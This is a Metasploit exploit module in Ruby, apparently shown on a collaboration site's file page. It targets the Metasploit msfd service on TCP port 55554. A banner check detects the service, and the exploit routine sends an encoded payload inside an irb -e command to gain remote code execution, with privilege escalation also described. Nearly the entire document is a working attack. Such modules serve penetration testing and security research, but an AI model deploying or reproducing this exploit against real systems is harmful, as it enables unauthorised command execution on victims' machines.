Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Metasploit msfd Remote Code Execution',
14
      'Description'    => %q{
15
      Metasploit's msfd-service makes it possible to get a msfconsole-like
16
      interface over a TCP socket. If this socket is accessible on a remote
17
      interface, an attacker can execute commands on the victim's machine.
18

19
      If msfd is running with higher privileges than the current local user,
20
      this module can also be used for privilege escalation. In that case,
21
      port forwarding on the compromised host can be used.
22

23
      Code execution is achieved with the msfconsole command: irb -e 'CODE'.
24
      },
25
      'Author'         => 'Robin Stenvi <robin.stenvi[at]gmail.com>',
26
      'License'        => BSD_LICENSE,
27
      'Platform'       => "ruby",
28
      'Arch'           => ARCH_RUBY,
29
      'Payload'        =>
30
        {
31
          'Space'    => 8192,   # Arbitrary limit
32
          'BadChars' => "\x27\x0a",
33
          'DisableNops' => true
34
        },
35
      'Targets'  =>
36
        [
37
          [ 'Automatic', { } ]
38
        ],
39
      'Privileged'     => false,
40
      'DisclosureDate' => '2018-04-11',  # Vendor notification
41
      'DefaultTarget'  => 0))
42

43
    register_options(
44
      [
45
        Opt::RPORT(55554)
46
      ])
47
  end
48

49
  def check
50
    connect
51
    data = sock.get_once
52
    if data.include?("msf")
53
      disconnect
54
      return Exploit::CheckCode::Appears
55
    end
56
    disconnect
57
    return Exploit::CheckCode::Unknown
58
  end
59

60
  def exploit
61
    connect
62
    sock.get_once
63
    sock.put "irb -e '" + payload.encoded + "'\n"
64
    disconnect
65
  end
66
end
67

68